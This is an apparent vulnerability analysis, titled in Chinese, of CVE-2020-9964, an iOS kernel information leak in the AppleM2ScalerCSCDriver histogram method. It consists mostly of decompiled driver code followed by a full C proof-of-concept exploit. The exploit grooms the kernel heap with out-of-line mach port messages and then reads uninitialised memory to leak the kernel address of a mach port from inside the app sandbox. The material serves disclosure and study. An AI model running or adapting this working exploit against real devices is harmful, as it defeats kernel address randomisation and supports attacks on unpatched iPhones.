CVE-2020-9964：iOS中的信息泄露漏洞分析

{

    IOSurfaceAcceleratorClient::user_get_histogram,

    kIOUCStructIStructO,

    0x8,

    0x0

}

IOReturn IOSurfaceAcceleratorClient::user_get_histogram(IOSurfaceAcceleratorClient *this, void *input, uint64_t inputSize)

{

IOReturn result;

if (this->calledFromKernel)

{

...

}

else

{

IOMemoryDescriptor *memDesc = IOMemoryDescriptor::withAddressRange(*(mach_vm_address_t *)input, this->histogramSize, kIODirectionOutIn, this->task);

if ( memDesc )

{

ret = memDesc->prepare(kIODirectionNone);

if (ret)

{

...

}

else

{

ret = AppleM2ScalerCSCDriver::get_histogram(this->fOwner, this, memDesc);

memDesc->complete(kIODirectionNone);

}

memDesc->release();

}

else

{

ret = kIOReturnNoMemory;

}

}

return ret;

}

IOReturn AppleM2ScalerCSCDriver::get_histogram_gated(AppleM2ScalerCSCDriver *this, IOSurfaceAcceleratorClient *client, IOMemoryDescriptor *memDesc)

{

IOReturn result;

if ( memDesc->writeBytes(0, client->histogramBuffer, client->histogramSize) == client->histogramSize )

result = kIOReturnSuccess;

else

result = kIOReturnIOError;

return result;

}

bool IOSurfaceAcceleratorClient::initClient(IOSurfaceAcceleratorClient *this, AppleM2ScalerCSCDriver *owner, int type, AppleM2ScalerCSCHal *hal)

{

...

if ( ... )

{

...

if ( ... )

{

size_t bufferSize = ...;

this->histogramSize = bufferSize;

this->histogramBuffer = (void *)IOMalloc(bufferSize);

IOAsynchronousScheduler *scheduler = IOAsynchronousScheduler::ioAsynchronousScheduler(0);

this->scheduler = scheduler;

if ( scheduler )

return true;

...

}

else

{

...

}

}

else

{

...

}

this->stopClient();

return false;

}

#include <stdlib.h>

#include <assert.h>

#include <stdio.h>

#include <mach/mach.h>

#include <IOKit/IOKitLib.h>

#if 0

AppleM2ScalerCSCDriver Infoleak:

IOSurfaceAcceleratorClient::user_get_histogram takes a userspace pointer and writes histogram data back to that address.

IOSurfaceAcceleratorClient::initClient allocates this histogram buffer, but does not zero the memory.

When the external method IOSurfaceAcceleratorClient::user_get_histogram is called, this uninitialised memory is then sent back to userspace.

This vulnerability is reachable from within the app sandbox on iOS.

Below is a proof-of-concept exploit which utilises this vulnerability to leak the address of any mach port that the calling process holds a send-right to.

Other kernel object addresses can be obtained using this vulnerability in similar ways.

#endif

#define ASSERT_KR(kr) do { \

if (kr != KERN_SUCCESS) { \

fprintf(stderr, "kr: %s (0x%x)\n", mach_error_string(kr), kr); \

exit(EXIT_FAILURE); \

} \

} while(0)

#define LEAK_SIZE 0x300

#define SPRAY_COUNT 0x80

mach_port_t create_port(void)

{

mach_port_t p = MACH_PORT_NULL;

mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);

mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);

return p;

}

io_connect_t open_client(const char* serviceName, uint32_t type)

{

io_connect_t client = MACH_PORT_NULL;

io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(serviceName));

assert(service != MACH_PORT_NULL);

IOServiceOpen(service, mach_task_self(), 0, &client);

assert(client != MACH_PORT_NULL);

IOObjectRelease(service);

return client;

}

void push_to_freelist(mach_port_t port)

{

uint32_t portCount = LEAK_SIZE / sizeof(void*);

struct {

mach_msg_header_t header;

mach_msg_body_t body;

mach_msg_ool_ports_descriptor_t ool_ports;

} msg = {{0}};

mach_port_t* ports = (mach_port_t*)malloc(portCount * sizeof(mach_port_t));

for (uint32_t i = 0; i < portCount; i++)

ports[i] = port;

size_t msgSize = sizeof(msg);

msg.header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);

msg.header.msgh_size = msgSize;

msg.header.msgh_id = 'OOLP';

msg.body.msgh_descriptor_count = 1;

msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;

msg.ool_ports.address = (void*)ports;

msg.ool_ports.count = portCount;

msg.ool_ports.deallocate = false;

msg.ool_ports.copy = MACH_MSG_PHYSICAL_COPY;

msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;

mach_port_t rcvPorts[SPRAY_COUNT];

for (uint32_t i = 0; i < SPRAY_COUNT; i++)

{

mach_port_t rcvPort = create_port();

rcvPorts[i] = rcvPort;

msg.header.msgh_remote_port = rcvPort;

//trigger kernel allocation of port array:

kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, (mach_msg_size_t)msgSize, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

ASSERT_KR(kr);

}

for (uint32_t i = 1; i < SPRAY_COUNT; i++)

mach_port_destroy(mach_task_self(), rcvPorts[i]);

free((void*)ports);

}

//The actual vulnerability:

void leak_bytes(void* buffer)

{

io_connect_t client = open_client("AppleM2ScalerCSCDriver", 0);

kern_return_t kr = IOConnectCallStructMethod(client, 9, (uint64_t*)&buffer, 8, NULL, NULL);

ASSERT_KR(kr);

IOServiceClose(client);

}

uint64_t find_port_addr(mach_port_t port)

{

uint64_t* leak = (uint64_t*)malloc(LEAK_SIZE);

printf("Preparing heap\n");

push_to_freelist(port);

printf("Leaking 0x%zx bytes\n", (size_t)LEAK_SIZE);

leak_bytes(leak);

uint64_t addr = leak[1];

free(leak);

return addr;

}

int main(int argc, char* argv[], char* envp[])

{

mach_port_t port = create_port();

uint64_t port_addr = find_port_addr(port);

printf("Leaked port address: %p\n", (void*)port_addr);

return 0;

}